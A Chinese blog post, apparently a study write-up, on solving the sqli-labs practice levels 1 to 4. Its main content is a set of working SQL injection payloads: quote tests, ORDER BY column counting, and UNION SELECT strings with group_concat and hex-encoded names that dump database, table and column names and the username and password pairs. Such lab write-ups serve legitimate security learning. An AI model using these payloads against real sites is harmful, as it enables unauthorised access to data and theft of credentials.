SQL注入--sqli-labs(1-4关)

Less_1

查库:select schema_name from information_schema.schemata

 

 

 

查表:select table_name from information_schema.tables where table_schema=’表名

 

 

 

查列:select column_name from information_schema.columns where table_name='用户名'  

 

 

 

查字段:select id,username,password from security.users

 

 

 

 

 

Less1,查看是否有注入,使用单双引号包裹‘’

 单引号报错,即存在注入漏洞

 

 

 

 

 

 

 

 

Limit 0,1 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据

 

 

 

 

 

SELECT * FROM users WHERE id='1'or 1=1-- ' LIMIT 0,1

其中--+ 或者-- 或者#都是sqli语句,输入它,其后面的语句不在执行;

A and B     AB 都为true则返回值为true

A or B      AB 其中一个为true则返回值为true

 

 

 

 

 

Order by查看有多少列

对其中的列进行排序,若超过列数则报错。

采用二分法进行参检:

 

 

 

 

 

 

 

可以看到3不报错,4报错,则只有三列。

 

 

判断页面有几个显示位使用union select语句

 

 

 

句子里并没有任何回显信息,所以将前面数据 注释掉,

 

 

 

 

 

  

使用limit0,1limit1,1limit2,1获得数据库信息

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

 

 

 

 

 

 

 

  

还有第二种方法能够快速获得数据库信息:

使用group_concat函数(将所有数据进行拼接显示在一行)

?id=-1' union select 1,2, group_concat(schema_name)from information_schema.schemata limit 0,1--+

 

 

 

 

 

使用?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='security'--+获得security数据库中表的信息

 

 

 

 

使用单引号容易出现错误,我们使用十六进制:(在security前面加0x,选中security在选择encoding,然后点击hex encoding即可)

 

 

 

?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+

 

 

 

 

使用concat_ws(‘~’,A,B)可以即显示数据库名称,也可以显示数据库密码:

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+可以查看所有数据名称以及密码

 

 

 

concat_ws('~',username,password)引号容易出错,需要换成十六进制:

 

Less_01总结:

 

 

 

 

 

 

 

 

 

 

 

Less_2

 

Less2无包裹;

 

使用单引号存在注入漏洞:?id=1'

 

 

 

 

 

 

 

less2less1区别为没有单引号包裹,其他步骤相同;

 

 

 

查看哪些数据可以回显:?id=-1 union select 1,2,3--+

 

 

 

 

 

注释还可以使用负数,不止负号,还可以使用超过数据库的数:?id=1231 union select 1,2,3--+

 

 

 

 

 

 

 

查看所有数据库?id=1231 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

 

 

 

 

 

 

 

 

 

 

查看所有表:?id=1231 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

 

 

 

 

 

 

 

查看所有列信息:?id=1231 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

 

 

 

 

 

 

 

查看所有数据对应的名称以及密码:?id=1231 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security .users--+

 

 

 

 

 

Less_2总结:

 

 

 

 

 

 

 

Less-3

 

 

 

Less_3使用(1)包裹,其他步骤与less1less2相同;

 

 

 

查看有多少列:?id=1') order by 3--+

 

 

 

 

 

 

 

查看多少数据库名称?id=-1')union select 1,2,group_concat(schema_name)from information_schema.schemata --+

 

 

 

 

 

 

 

查看所有表:id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 

 

 

 

 

 

 

查看所有列的信息:?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

 

 

 

 

 

 

 

 

 

查看所有数据库名称及以及密码:?id=-1') union select 1,2,group_concat(concat('~',username,password)) from security.users--+

 

 

 

 

 

 

 

 

 

 

 

 

 

Less_4

 

Less_4使用(1)包裹,其他步骤与less1less2less3相同;

 

查看所有数据库:?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+

 

查看所有表:?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 

查看所有列信息:?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

 

查看所有数据库名称以及密码:?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+

 

less4总结:

 

 

 

posted @ 2020-02-11 14:50  婷婷哈  阅读(204)  评论(0编辑  收藏  举报